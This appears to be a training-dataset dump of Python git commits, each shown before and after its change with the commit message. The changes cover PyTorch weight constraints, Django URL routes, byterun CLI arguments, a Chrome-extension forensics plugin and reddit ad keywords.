def positive(weight): weight.data *= weight.data.ge(0).float() def negative(weight): weight.data *= weight.data.le(0).float() def positive_except_self(weight): pos = weight.data.ge(0).float() if pos.size()[2] % 2 == 0 or pos.size()[3] % 2 == 0: raise ValueError('kernel size must be odd') ii, jj = pos.size()[2] // 2, pos.size()[3] // 2 for i in range(pos.size()[0]): pos[i, i, ii, jj] = 1 weight.data *= pos Add constraining extension to nn.Modulefrom torch import nn def constrain_all(self): if hasattr(self, 'constrain'): self.constrain() for c in self.children(): c.constrain_all() # extend torch nn.Module to have constrain_all function nn.Module.constrain_all = constrain_all def positive(weight, cache=None): weight.data *= weight.data.ge(0).float() return cache def negative(weight, cache=None): weight.data *= weight.data.le(0).float() return cache def positive_except_self(weight, cache=None): pos = weight.data.ge(0).float() if pos.size()[2] % 2 == 0 or pos.size()[3] % 2 == 0: raise ValueError('kernel size must be odd') ii, jj = pos.size()[2] // 2, pos.size()[3] // 2 for i in range(pos.size()[0]): pos[i, i, ii, jj] = 1 weight.data *= pos return cache
<commit_before> def positive(weight): weight.data *= weight.data.ge(0).float() def negative(weight): weight.data *= weight.data.le(0).float() def positive_except_self(weight): pos = weight.data.ge(0).float() if pos.size()[2] % 2 == 0 or pos.size()[3] % 2 == 0: raise ValueError('kernel size must be odd') ii, jj = pos.size()[2] // 2, pos.size()[3] // 2 for i in range(pos.size()[0]): pos[i, i, ii, jj] = 1 weight.data *= pos <commit_msg>Add constraining extension to nn.Module<commit_after>from torch import nn def constrain_all(self): if hasattr(self, 'constrain'): self.constrain() for c in self.children(): c.constrain_all() # extend torch nn.Module to have constrain_all function nn.Module.constrain_all = constrain_all def positive(weight, cache=None): weight.data *= weight.data.ge(0).float() return cache def negative(weight, cache=None): weight.data *= weight.data.le(0).float() return cache def positive_except_self(weight, cache=None): pos = weight.data.ge(0).float() if pos.size()[2] % 2 == 0 or pos.size()[3] % 2 == 0: raise ValueError('kernel size must be odd') ii, jj = pos.size()[2] // 2, pos.size()[3] // 2 for i in range(pos.size()[0]): pos[i, i, ii, jj] = 1 weight.data *= pos return cache
fa25c9c738376824a6d14fcf303d6ff867365588
blogs/urls.py
blogs/urls.py
from django.conf.urls import patterns, include, url from django.views.generic import TemplateView from blogs.views import PostCreationView, PostDetailView, PostUpdateView, PostListView urlpatterns = patterns('', url(r'^new/?$', PostCreationView.as_view(), name='posts-create'), url(r'^posts/?$', PostListView.as_view(), name='posts-list'), url(r'^posts/(?P<slug>.*?)/?$', PostDetailView.as_view(), name='posts-detail'), url(r'^update/(?P<slug>.*?)/?$', PostUpdateView.as_view(), name='posts-update'), )
from django.conf.urls import patterns, include, url from django.views.generic import TemplateView from blogs.views import PostCreationView, PostDetailView, PostUpdateView, PostListView urlpatterns = patterns('', url(r'^new/?$', PostCreationView.as_view(), name='posts-create'), url(r'^/?$', PostListView.as_view(), name='posts-list'), url(r'^post/(?P<slug>.*?)/?$', PostDetailView.as_view(), name='posts-detail'), url(r'^update/(?P<slug>.*?)/?$', PostUpdateView.as_view(), name='posts-update'), )
Set root url to post list
Set root url to post list
Python
mit
ericmok/djangosimpleblog,ericmok/djangosimpleblog,ericmok/djangosimpleblog
from django.conf.urls import patterns, include, url from django.views.generic import TemplateView from blogs.views import PostCreationView, PostDetailView, PostUpdateView, PostListView urlpatterns = patterns('', url(r'^new/?$', PostCreationView.as_view(), name='posts-create'), url(r'^posts/?$', PostListView.as_view(), name='posts-list'), url(r'^posts/(?P<slug>.*?)/?$', PostDetailView.as_view(), name='posts-detail'), url(r'^update/(?P<slug>.*?)/?$', PostUpdateView.as_view(), name='posts-update'), )Set root url to post list
from django.conf.urls import patterns, include, url from django.views.generic import TemplateView from blogs.views import PostCreationView, PostDetailView, PostUpdateView, PostListView urlpatterns = patterns('', url(r'^new/?$', PostCreationView.as_view(), name='posts-create'), url(r'^/?$', PostListView.as_view(), name='posts-list'), url(r'^post/(?P<slug>.*?)/?$', PostDetailView.as_view(), name='posts-detail'), url(r'^update/(?P<slug>.*?)/?$', PostUpdateView.as_view(), name='posts-update'), )
<commit_before>from django.conf.urls import patterns, include, url from django.views.generic import TemplateView from blogs.views import PostCreationView, PostDetailView, PostUpdateView, PostListView urlpatterns = patterns('', url(r'^new/?$', PostCreationView.as_view(), name='posts-create'), url(r'^posts/?$', PostListView.as_view(), name='posts-list'), url(r'^posts/(?P<slug>.*?)/?$', PostDetailView.as_view(), name='posts-detail'), url(r'^update/(?P<slug>.*?)/?$', PostUpdateView.as_view(), name='posts-update'), )<commit_msg>Set root url to post list<commit_after>
from django.conf.urls import patterns, include, url from django.views.generic import TemplateView from blogs.views import PostCreationView, PostDetailView, PostUpdateView, PostListView urlpatterns = patterns('', url(r'^new/?$', PostCreationView.as_view(), name='posts-create'), url(r'^/?$', PostListView.as_view(), name='posts-list'), url(r'^post/(?P<slug>.*?)/?$', PostDetailView.as_view(), name='posts-detail'), url(r'^update/(?P<slug>.*?)/?$', PostUpdateView.as_view(), name='posts-update'), )
from django.conf.urls import patterns, include, url from django.views.generic import TemplateView from blogs.views import PostCreationView, PostDetailView, PostUpdateView, PostListView urlpatterns = patterns('', url(r'^new/?$', PostCreationView.as_view(), name='posts-create'), url(r'^posts/?$', PostListView.as_view(), name='posts-list'), url(r'^posts/(?P<slug>.*?)/?$', PostDetailView.as_view(), name='posts-detail'), url(r'^update/(?P<slug>.*?)/?$', PostUpdateView.as_view(), name='posts-update'), )Set root url to post listfrom django.conf.urls import patterns, include, url from django.views.generic import TemplateView from blogs.views import PostCreationView, PostDetailView, PostUpdateView, PostListView urlpatterns = patterns('', url(r'^new/?$', PostCreationView.as_view(), name='posts-create'), url(r'^/?$', PostListView.as_view(), name='posts-list'), url(r'^post/(?P<slug>.*?)/?$', PostDetailView.as_view(), name='posts-detail'), url(r'^update/(?P<slug>.*?)/?$', PostUpdateView.as_view(), name='posts-update'), )
<commit_before>from django.conf.urls import patterns, include, url from django.views.generic import TemplateView from blogs.views import PostCreationView, PostDetailView, PostUpdateView, PostListView urlpatterns = patterns('', url(r'^new/?$', PostCreationView.as_view(), name='posts-create'), url(r'^posts/?$', PostListView.as_view(), name='posts-list'), url(r'^posts/(?P<slug>.*?)/?$', PostDetailView.as_view(), name='posts-detail'), url(r'^update/(?P<slug>.*?)/?$', PostUpdateView.as_view(), name='posts-update'), )<commit_msg>Set root url to post list<commit_after>from django.conf.urls import patterns, include, url from django.views.generic import TemplateView from blogs.views import PostCreationView, PostDetailView, PostUpdateView, PostListView urlpatterns = patterns('', url(r'^new/?$', PostCreationView.as_view(), name='posts-create'), url(r'^/?$', PostListView.as_view(), name='posts-list'), url(r'^post/(?P<slug>.*?)/?$', PostDetailView.as_view(), name='posts-detail'), url(r'^update/(?P<slug>.*?)/?$', PostUpdateView.as_view(), name='posts-update'), )
133c6063e2da153c99512757b6771564d67ed28f
byterun/__main__.py
byterun/__main__.py
"""A main program for Byterun.""" import argparse import logging from . import execfile parser = argparse.ArgumentParser() parser.add_argument('-m', dest='module', action='store_true') parser.add_argument('-v', dest='verbose', action='store_true') parser.add_argument('to_run') parser.add_argument('arg', nargs=argparse.REMAINDER) args = parser.parse_args() if args.module: run_fn = execfile.run_python_module else: run_fn = execfile.run_python_file level = logging.DEBUG if args.verbose else logging.WARNING logging.basicConfig(level=level) argv = [args.to_run] + args.arg run_fn(args.to_run, argv)
"""A main program for Byterun.""" import argparse import logging from . import execfile parser = argparse.ArgumentParser( prog="byterun", description="Run Python programs with a Python bytecode interpreter.", ) parser.add_argument( '-m', dest='module', action='store_true', help="prog is a module name, not a file name.", ) parser.add_argument( '-v', '--versbose', dest='verbose', action='store_true', help="trace the execution of the bytecode.", ) parser.add_argument( 'prog', help="The program to run.", ) parser.add_argument( 'args', nargs=argparse.REMAINDER, help="Arguments to pass to the program.", ) args = parser.parse_args() if args.module: run_fn = execfile.run_python_module else: run_fn = execfile.run_python_file level = logging.DEBUG if args.verbose else logging.WARNING logging.basicConfig(level=level) argv = [args.prog] + args.args run_fn(args.prog, argv)
Make the argument handling nicer.
Make the argument handling nicer.
Python
mit
sukwon0709/byterun,sukwon0709/byterun,nedbat/byterun,sukwon0709/byterun,kostyll/byterun,sukwon0709/byterun,djhenderson/byterun,sukwon0709/byterun
"""A main program for Byterun.""" import argparse import logging from . import execfile parser = argparse.ArgumentParser() parser.add_argument('-m', dest='module', action='store_true') parser.add_argument('-v', dest='verbose', action='store_true') parser.add_argument('to_run') parser.add_argument('arg', nargs=argparse.REMAINDER) args = parser.parse_args() if args.module: run_fn = execfile.run_python_module else: run_fn = execfile.run_python_file level = logging.DEBUG if args.verbose else logging.WARNING logging.basicConfig(level=level) argv = [args.to_run] + args.arg run_fn(args.to_run, argv) Make the argument handling nicer.
"""A main program for Byterun.""" import argparse import logging from . import execfile parser = argparse.ArgumentParser( prog="byterun", description="Run Python programs with a Python bytecode interpreter.", ) parser.add_argument( '-m', dest='module', action='store_true', help="prog is a module name, not a file name.", ) parser.add_argument( '-v', '--versbose', dest='verbose', action='store_true', help="trace the execution of the bytecode.", ) parser.add_argument( 'prog', help="The program to run.", ) parser.add_argument( 'args', nargs=argparse.REMAINDER, help="Arguments to pass to the program.", ) args = parser.parse_args() if args.module: run_fn = execfile.run_python_module else: run_fn = execfile.run_python_file level = logging.DEBUG if args.verbose else logging.WARNING logging.basicConfig(level=level) argv = [args.prog] + args.args run_fn(args.prog, argv)
<commit_before>"""A main program for Byterun.""" import argparse import logging from . import execfile parser = argparse.ArgumentParser() parser.add_argument('-m', dest='module', action='store_true') parser.add_argument('-v', dest='verbose', action='store_true') parser.add_argument('to_run') parser.add_argument('arg', nargs=argparse.REMAINDER) args = parser.parse_args() if args.module: run_fn = execfile.run_python_module else: run_fn = execfile.run_python_file level = logging.DEBUG if args.verbose else logging.WARNING logging.basicConfig(level=level) argv = [args.to_run] + args.arg run_fn(args.to_run, argv) <commit_msg>Make the argument handling nicer.<commit_after>
"""A main program for Byterun.""" import argparse import logging from . import execfile parser = argparse.ArgumentParser( prog="byterun", description="Run Python programs with a Python bytecode interpreter.", ) parser.add_argument( '-m', dest='module', action='store_true', help="prog is a module name, not a file name.", ) parser.add_argument( '-v', '--versbose', dest='verbose', action='store_true', help="trace the execution of the bytecode.", ) parser.add_argument( 'prog', help="The program to run.", ) parser.add_argument( 'args', nargs=argparse.REMAINDER, help="Arguments to pass to the program.", ) args = parser.parse_args() if args.module: run_fn = execfile.run_python_module else: run_fn = execfile.run_python_file level = logging.DEBUG if args.verbose else logging.WARNING logging.basicConfig(level=level) argv = [args.prog] + args.args run_fn(args.prog, argv)
"""A main program for Byterun.""" import argparse import logging from . import execfile parser = argparse.ArgumentParser() parser.add_argument('-m', dest='module', action='store_true') parser.add_argument('-v', dest='verbose', action='store_true') parser.add_argument('to_run') parser.add_argument('arg', nargs=argparse.REMAINDER) args = parser.parse_args() if args.module: run_fn = execfile.run_python_module else: run_fn = execfile.run_python_file level = logging.DEBUG if args.verbose else logging.WARNING logging.basicConfig(level=level) argv = [args.to_run] + args.arg run_fn(args.to_run, argv) Make the argument handling nicer."""A main program for Byterun.""" import argparse import logging from . import execfile parser = argparse.ArgumentParser( prog="byterun", description="Run Python programs with a Python bytecode interpreter.", ) parser.add_argument( '-m', dest='module', action='store_true', help="prog is a module name, not a file name.", ) parser.add_argument( '-v', '--versbose', dest='verbose', action='store_true', help="trace the execution of the bytecode.", ) parser.add_argument( 'prog', help="The program to run.", ) parser.add_argument( 'args', nargs=argparse.REMAINDER, help="Arguments to pass to the program.", ) args = parser.parse_args() if args.module: run_fn = execfile.run_python_module else: run_fn = execfile.run_python_file level = logging.DEBUG if args.verbose else logging.WARNING logging.basicConfig(level=level) argv = [args.prog] + args.args run_fn(args.prog, argv)
<commit_before>"""A main program for Byterun.""" import argparse import logging from . import execfile parser = argparse.ArgumentParser() parser.add_argument('-m', dest='module', action='store_true') parser.add_argument('-v', dest='verbose', action='store_true') parser.add_argument('to_run') parser.add_argument('arg', nargs=argparse.REMAINDER) args = parser.parse_args() if args.module: run_fn = execfile.run_python_module else: run_fn = execfile.run_python_file level = logging.DEBUG if args.verbose else logging.WARNING logging.basicConfig(level=level) argv = [args.to_run] + args.arg run_fn(args.to_run, argv) <commit_msg>Make the argument handling nicer.<commit_after>"""A main program for Byterun.""" import argparse import logging from . import execfile parser = argparse.ArgumentParser( prog="byterun", description="Run Python programs with a Python bytecode interpreter.", ) parser.add_argument( '-m', dest='module', action='store_true', help="prog is a module name, not a file name.", ) parser.add_argument( '-v', '--versbose', dest='verbose', action='store_true', help="trace the execution of the bytecode.", ) parser.add_argument( 'prog', help="The program to run.", ) parser.add_argument( 'args', nargs=argparse.REMAINDER, help="Arguments to pass to the program.", ) args = parser.parse_args() if args.module: run_fn = execfile.run_python_module else: run_fn = execfile.run_python_file level = logging.DEBUG if args.verbose else logging.WARNING logging.basicConfig(level=level) argv = [args.prog] + args.args run_fn(args.prog, argv)
e05093338c6c2fa155ea4ffe102bb6fa9a9b5e0e
__init__.py
__init__.py
import spyral.memoize import spyral.point import spyral.camera import spyral.util import spyral.sprite import spyral.gui import spyral.scene import spyral._lib import spyral.event import pygame director = scene.Director() def init(): pygame.init() pygame.font.init() def quit(): pygame.quit() spyral.director._stack = []
""" Spyral, an awesome library for making games. """ __version__ = '0.1' __license__ = 'LGPLv2' __author__ = 'Robert Deaton' import spyral.memoize import spyral.point import spyral.camera import spyral.util import spyral.sprite import spyral.gui import spyral.scene import spyral._lib import spyral.event import pygame director = scene.Director() def init(): pygame.init() pygame.font.init() def quit(): pygame.quit() spyral.director._stack = []
Make this more like a real python module.
Make this more like a real python module.
Python
lgpl-2.1
platipy/spyral
import spyral.memoize import spyral.point import spyral.camera import spyral.util import spyral.sprite import spyral.gui import spyral.scene import spyral._lib import spyral.event import pygame director = scene.Director() def init(): pygame.init() pygame.font.init() def quit(): pygame.quit() spyral.director._stack = []Make this more like a real python module.
""" Spyral, an awesome library for making games. """ __version__ = '0.1' __license__ = 'LGPLv2' __author__ = 'Robert Deaton' import spyral.memoize import spyral.point import spyral.camera import spyral.util import spyral.sprite import spyral.gui import spyral.scene import spyral._lib import spyral.event import pygame director = scene.Director() def init(): pygame.init() pygame.font.init() def quit(): pygame.quit() spyral.director._stack = []
<commit_before>import spyral.memoize import spyral.point import spyral.camera import spyral.util import spyral.sprite import spyral.gui import spyral.scene import spyral._lib import spyral.event import pygame director = scene.Director() def init(): pygame.init() pygame.font.init() def quit(): pygame.quit() spyral.director._stack = []<commit_msg>Make this more like a real python module.<commit_after>
""" Spyral, an awesome library for making games. """ __version__ = '0.1' __license__ = 'LGPLv2' __author__ = 'Robert Deaton' import spyral.memoize import spyral.point import spyral.camera import spyral.util import spyral.sprite import spyral.gui import spyral.scene import spyral._lib import spyral.event import pygame director = scene.Director() def init(): pygame.init() pygame.font.init() def quit(): pygame.quit() spyral.director._stack = []
import spyral.memoize import spyral.point import spyral.camera import spyral.util import spyral.sprite import spyral.gui import spyral.scene import spyral._lib import spyral.event import pygame director = scene.Director() def init(): pygame.init() pygame.font.init() def quit(): pygame.quit() spyral.director._stack = []Make this more like a real python module.""" Spyral, an awesome library for making games. """ __version__ = '0.1' __license__ = 'LGPLv2' __author__ = 'Robert Deaton' import spyral.memoize import spyral.point import spyral.camera import spyral.util import spyral.sprite import spyral.gui import spyral.scene import spyral._lib import spyral.event import pygame director = scene.Director() def init(): pygame.init() pygame.font.init() def quit(): pygame.quit() spyral.director._stack = []
<commit_before>import spyral.memoize import spyral.point import spyral.camera import spyral.util import spyral.sprite import spyral.gui import spyral.scene import spyral._lib import spyral.event import pygame director = scene.Director() def init(): pygame.init() pygame.font.init() def quit(): pygame.quit() spyral.director._stack = []<commit_msg>Make this more like a real python module.<commit_after>""" Spyral, an awesome library for making games. """ __version__ = '0.1' __license__ = 'LGPLv2' __author__ = 'Robert Deaton' import spyral.memoize import spyral.point import spyral.camera import spyral.util import spyral.sprite import spyral.gui import spyral.scene import spyral._lib import spyral.event import pygame director = scene.Director() def init(): pygame.init() pygame.font.init() def quit(): pygame.quit() spyral.director._stack = []
7b1f62b9eb561680d73daa2c201040850352727b
__init__.py
__init__.py
import account import account_move import account_move_line import partner import account_voucher_line import payment_selection import wizard import res_user
import account import account_move import account_move_line import partner import account_voucher import account_voucher_line import payment_selection import wizard import res_user
Fix bug when posting account_voucher in the case voucher line were in company currency Voucher computation considered a 100% exchange difference instead of ignoring the foreign amount computation.
Fix bug when posting account_voucher in the case voucher line were in company currency Voucher computation considered a 100% exchange difference instead of ignoring the foreign amount computation.
Python
agpl-3.0
xcgd/account_streamline
import account import account_move import account_move_line import partner import account_voucher_line import payment_selection import wizard import res_user Fix bug when posting account_voucher in the case voucher line were in company currency Voucher computation considered a 100% exchange difference instead of ignoring the foreign amount computation.
import account import account_move import account_move_line import partner import account_voucher import account_voucher_line import payment_selection import wizard import res_user
<commit_before>import account import account_move import account_move_line import partner import account_voucher_line import payment_selection import wizard import res_user <commit_msg>Fix bug when posting account_voucher in the case voucher line were in company currency Voucher computation considered a 100% exchange difference instead of ignoring the foreign amount computation.<commit_after>
import account import account_move import account_move_line import partner import account_voucher import account_voucher_line import payment_selection import wizard import res_user
import account import account_move import account_move_line import partner import account_voucher_line import payment_selection import wizard import res_user Fix bug when posting account_voucher in the case voucher line were in company currency Voucher computation considered a 100% exchange difference instead of ignoring the foreign amount computation.import account import account_move import account_move_line import partner import account_voucher import account_voucher_line import payment_selection import wizard import res_user
<commit_before>import account import account_move import account_move_line import partner import account_voucher_line import payment_selection import wizard import res_user <commit_msg>Fix bug when posting account_voucher in the case voucher line were in company currency Voucher computation considered a 100% exchange difference instead of ignoring the foreign amount computation.<commit_after>import account import account_move import account_move_line import partner import account_voucher import account_voucher_line import payment_selection import wizard import res_user
f1ac6853d9502023462b5d55dc16c45658733a4a
plugins/chrome_extensions.py
plugins/chrome_extensions.py
################################################################################################### # # chrome_extensions.py # Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field # # Plugin Author: Ryan Benson (ryan@obsidianforensics.com) # ################################################################################################### import re # Config friendlyName = "Chrome Extension Names" description = "Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field" artifactTypes = ["url", "url (archived)"] remoteLookups = 0 browser = "Chrome" browserVersion = 1 version = "20140813" parsedItems = 0 def plugin(target_browser): extension_re = re.compile(r'^chrome-extension://([a-z]{32})') global parsedItems for item in target_browser.parsed_artifacts: if item.row_type in artifactTypes: if item.interpretation is None: m = re.search(extension_re, item.url) if m: for ext in target_browser.installed_extensions: if ext.app_id == m.group(1): item.interpretation = "%s (%s) [Chrome Extension]" % (ext.name, ext.description) parsedItems += 1 # Description of what the plugin did return "%s extension URLs parsed" % parsedItems
################################################################################################### # # chrome_extensions.py # Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field # # Plugin Author: Ryan Benson (ryan@obsidianforensics.com) # ################################################################################################### import re # Config friendlyName = "Chrome Extension Names" description = "Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field" artifactTypes = ["url", "url (archived)"] remoteLookups = 0 browser = "Chrome" browserVersion = 1 version = "20150117" parsedItems = 0 def plugin(target_browser): extension_re = re.compile(r'^chrome-extension://([a-z]{32})') global parsedItems for item in target_browser.parsed_artifacts: if item.row_type in artifactTypes: if item.interpretation is None: m = re.search(extension_re, item.url) if m: for ext in target_browser.installed_extensions['data']: if ext.app_id == m.group(1): item.interpretation = "%s (%s) [Chrome Extension]" % (ext.name, ext.description) parsedItems += 1 # Description of what the plugin did return "%s extension URLs parsed" % parsedItems
Update to work with new method of storing extension data.
Update to work with new method of storing extension data.
Python
apache-2.0
obsidianforensics/hindsight,obsidianforensics/hindsight
################################################################################################### # # chrome_extensions.py # Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field # # Plugin Author: Ryan Benson (ryan@obsidianforensics.com) # ################################################################################################### import re # Config friendlyName = "Chrome Extension Names" description = "Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field" artifactTypes = ["url", "url (archived)"] remoteLookups = 0 browser = "Chrome" browserVersion = 1 version = "20140813" parsedItems = 0 def plugin(target_browser): extension_re = re.compile(r'^chrome-extension://([a-z]{32})') global parsedItems for item in target_browser.parsed_artifacts: if item.row_type in artifactTypes: if item.interpretation is None: m = re.search(extension_re, item.url) if m: for ext in target_browser.installed_extensions: if ext.app_id == m.group(1): item.interpretation = "%s (%s) [Chrome Extension]" % (ext.name, ext.description) parsedItems += 1 # Description of what the plugin did return "%s extension URLs parsed" % parsedItemsUpdate to work with new method of storing extension data.
################################################################################################### # # chrome_extensions.py # Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field # # Plugin Author: Ryan Benson (ryan@obsidianforensics.com) # ################################################################################################### import re # Config friendlyName = "Chrome Extension Names" description = "Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field" artifactTypes = ["url", "url (archived)"] remoteLookups = 0 browser = "Chrome" browserVersion = 1 version = "20150117" parsedItems = 0 def plugin(target_browser): extension_re = re.compile(r'^chrome-extension://([a-z]{32})') global parsedItems for item in target_browser.parsed_artifacts: if item.row_type in artifactTypes: if item.interpretation is None: m = re.search(extension_re, item.url) if m: for ext in target_browser.installed_extensions['data']: if ext.app_id == m.group(1): item.interpretation = "%s (%s) [Chrome Extension]" % (ext.name, ext.description) parsedItems += 1 # Description of what the plugin did return "%s extension URLs parsed" % parsedItems
<commit_before>################################################################################################### # # chrome_extensions.py # Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field # # Plugin Author: Ryan Benson (ryan@obsidianforensics.com) # ################################################################################################### import re # Config friendlyName = "Chrome Extension Names" description = "Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field" artifactTypes = ["url", "url (archived)"] remoteLookups = 0 browser = "Chrome" browserVersion = 1 version = "20140813" parsedItems = 0 def plugin(target_browser): extension_re = re.compile(r'^chrome-extension://([a-z]{32})') global parsedItems for item in target_browser.parsed_artifacts: if item.row_type in artifactTypes: if item.interpretation is None: m = re.search(extension_re, item.url) if m: for ext in target_browser.installed_extensions: if ext.app_id == m.group(1): item.interpretation = "%s (%s) [Chrome Extension]" % (ext.name, ext.description) parsedItems += 1 # Description of what the plugin did return "%s extension URLs parsed" % parsedItems<commit_msg>Update to work with new method of storing extension data.<commit_after>
################################################################################################### # # chrome_extensions.py # Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field # # Plugin Author: Ryan Benson (ryan@obsidianforensics.com) # ################################################################################################### import re # Config friendlyName = "Chrome Extension Names" description = "Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field" artifactTypes = ["url", "url (archived)"] remoteLookups = 0 browser = "Chrome" browserVersion = 1 version = "20150117" parsedItems = 0 def plugin(target_browser): extension_re = re.compile(r'^chrome-extension://([a-z]{32})') global parsedItems for item in target_browser.parsed_artifacts: if item.row_type in artifactTypes: if item.interpretation is None: m = re.search(extension_re, item.url) if m: for ext in target_browser.installed_extensions['data']: if ext.app_id == m.group(1): item.interpretation = "%s (%s) [Chrome Extension]" % (ext.name, ext.description) parsedItems += 1 # Description of what the plugin did return "%s extension URLs parsed" % parsedItems
################################################################################################### # # chrome_extensions.py # Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field # # Plugin Author: Ryan Benson (ryan@obsidianforensics.com) # ################################################################################################### import re # Config friendlyName = "Chrome Extension Names" description = "Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field" artifactTypes = ["url", "url (archived)"] remoteLookups = 0 browser = "Chrome" browserVersion = 1 version = "20140813" parsedItems = 0 def plugin(target_browser): extension_re = re.compile(r'^chrome-extension://([a-z]{32})') global parsedItems for item in target_browser.parsed_artifacts: if item.row_type in artifactTypes: if item.interpretation is None: m = re.search(extension_re, item.url) if m: for ext in target_browser.installed_extensions: if ext.app_id == m.group(1): item.interpretation = "%s (%s) [Chrome Extension]" % (ext.name, ext.description) parsedItems += 1 # Description of what the plugin did return "%s extension URLs parsed" % parsedItemsUpdate to work with new method of storing extension data.################################################################################################### # # chrome_extensions.py # Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field # # Plugin Author: Ryan Benson (ryan@obsidianforensics.com) # ################################################################################################### import re # Config friendlyName = "Chrome Extension Names" description = "Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field" artifactTypes = ["url", "url (archived)"] remoteLookups = 0 browser = "Chrome" browserVersion = 1 version = "20150117" parsedItems = 0 def plugin(target_browser): extension_re = re.compile(r'^chrome-extension://([a-z]{32})') global parsedItems for item in target_browser.parsed_artifacts: if item.row_type in artifactTypes: if item.interpretation is None: m = re.search(extension_re, item.url) if m: for ext in target_browser.installed_extensions['data']: if ext.app_id == m.group(1): item.interpretation = "%s (%s) [Chrome Extension]" % (ext.name, ext.description) parsedItems += 1 # Description of what the plugin did return "%s extension URLs parsed" % parsedItems
<commit_before>################################################################################################### # # chrome_extensions.py # Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field # # Plugin Author: Ryan Benson (ryan@obsidianforensics.com) # ################################################################################################### import re # Config friendlyName = "Chrome Extension Names" description = "Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field" artifactTypes = ["url", "url (archived)"] remoteLookups = 0 browser = "Chrome" browserVersion = 1 version = "20140813" parsedItems = 0 def plugin(target_browser): extension_re = re.compile(r'^chrome-extension://([a-z]{32})') global parsedItems for item in target_browser.parsed_artifacts: if item.row_type in artifactTypes: if item.interpretation is None: m = re.search(extension_re, item.url) if m: for ext in target_browser.installed_extensions: if ext.app_id == m.group(1): item.interpretation = "%s (%s) [Chrome Extension]" % (ext.name, ext.description) parsedItems += 1 # Description of what the plugin did return "%s extension URLs parsed" % parsedItems<commit_msg>Update to work with new method of storing extension data.<commit_after>################################################################################################### # # chrome_extensions.py # Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field # # Plugin Author: Ryan Benson (ryan@obsidianforensics.com) # ################################################################################################### import re # Config friendlyName = "Chrome Extension Names" description = "Adds the name and description of each Chrome extension found in a URLItem to the Interpretation field" artifactTypes = ["url", "url (archived)"] remoteLookups = 0 browser = "Chrome" browserVersion = 1 version = "20150117" parsedItems = 0 def plugin(target_browser): extension_re = re.compile(r'^chrome-extension://([a-z]{32})') global parsedItems for item in target_browser.parsed_artifacts: if item.row_type in artifactTypes: if item.interpretation is None: m = re.search(extension_re, item.url) if m: for ext in target_browser.installed_extensions['data']: if ext.app_id == m.group(1): item.interpretation = "%s (%s) [Chrome Extension]" % (ext.name, ext.description) parsedItems += 1 # Description of what the plugin did return "%s extension URLs parsed" % parsedItems
11ac44c41d9cd3431b7f2cc833656665c8a9947b
reddit_adzerk/adzerkads.py
reddit_adzerk/adzerkads.py
from urllib import quote from pylons import c, g from r2.lib.pages import Ads as BaseAds class Ads(BaseAds): def __init__(self): BaseAds.__init__(self) url_key = "adzerk_https_url" if c.secure else "adzerk_url" site_name = getattr(c.site, "analytics_name", c.site.name) self.ad_url = g.config[url_key].format( subreddit=quote(site_name.lower()), origin=c.request_origin, ) self.frame_id = "ad_main"
from urllib import quote from pylons import c, g from r2.lib.pages import Ads as BaseAds from r2.models.subreddit import DefaultSR class Ads(BaseAds): def __init__(self): BaseAds.__init__(self) url_key = "adzerk_https_url" if c.secure else "adzerk_url" site_name = getattr(c.site, "analytics_name", c.site.name) # adzerk reporting is easier when not using a space in the tag if isinstance(c.site, DefaultSR): site_name = "-reddit.com" self.ad_url = g.config[url_key].format( subreddit=quote(site_name.lower()), origin=c.request_origin, ) self.frame_id = "ad_main"
Change frontpage keyword to "-reddit.com".
Change frontpage keyword to "-reddit.com".
Python
bsd-3-clause
madbook/reddit-plugin-adzerk,madbook/reddit-plugin-adzerk,madbook/reddit-plugin-adzerk
from urllib import quote from pylons import c, g from r2.lib.pages import Ads as BaseAds class Ads(BaseAds): def __init__(self): BaseAds.__init__(self) url_key = "adzerk_https_url" if c.secure else "adzerk_url" site_name = getattr(c.site, "analytics_name", c.site.name) self.ad_url = g.config[url_key].format( subreddit=quote(site_name.lower()), origin=c.request_origin, ) self.frame_id = "ad_main" Change frontpage keyword to "-reddit.com".
from urllib import quote from pylons import c, g from r2.lib.pages import Ads as BaseAds from r2.models.subreddit import DefaultSR class Ads(BaseAds): def __init__(self): BaseAds.__init__(self) url_key = "adzerk_https_url" if c.secure else "adzerk_url" site_name = getattr(c.site, "analytics_name", c.site.name) # adzerk reporting is easier when not using a space in the tag if isinstance(c.site, DefaultSR): site_name = "-reddit.com" self.ad_url = g.config[url_key].format( subreddit=quote(site_name.lower()), origin=c.request_origin, ) self.frame_id = "ad_main"
<commit_before>from urllib import quote from pylons import c, g from r2.lib.pages import Ads as BaseAds class Ads(BaseAds): def __init__(self): BaseAds.__init__(self) url_key = "adzerk_https_url" if c.secure else "adzerk_url" site_name = getattr(c.site, "analytics_name", c.site.name) self.ad_url = g.config[url_key].format( subreddit=quote(site_name.lower()), origin=c.request_origin, ) self.frame_id = "ad_main" <commit_msg>Change frontpage keyword to "-reddit.com".<commit_after>
from urllib import quote from pylons import c, g from r2.lib.pages import Ads as BaseAds from r2.models.subreddit import DefaultSR class Ads(BaseAds): def __init__(self): BaseAds.__init__(self) url_key = "adzerk_https_url" if c.secure else "adzerk_url" site_name = getattr(c.site, "analytics_name", c.site.name) # adzerk reporting is easier when not using a space in the tag if isinstance(c.site, DefaultSR): site_name = "-reddit.com" self.ad_url = g.config[url_key].format( subreddit=quote(site_name.lower()), origin=c.request_origin, ) self.frame_id = "ad_main"
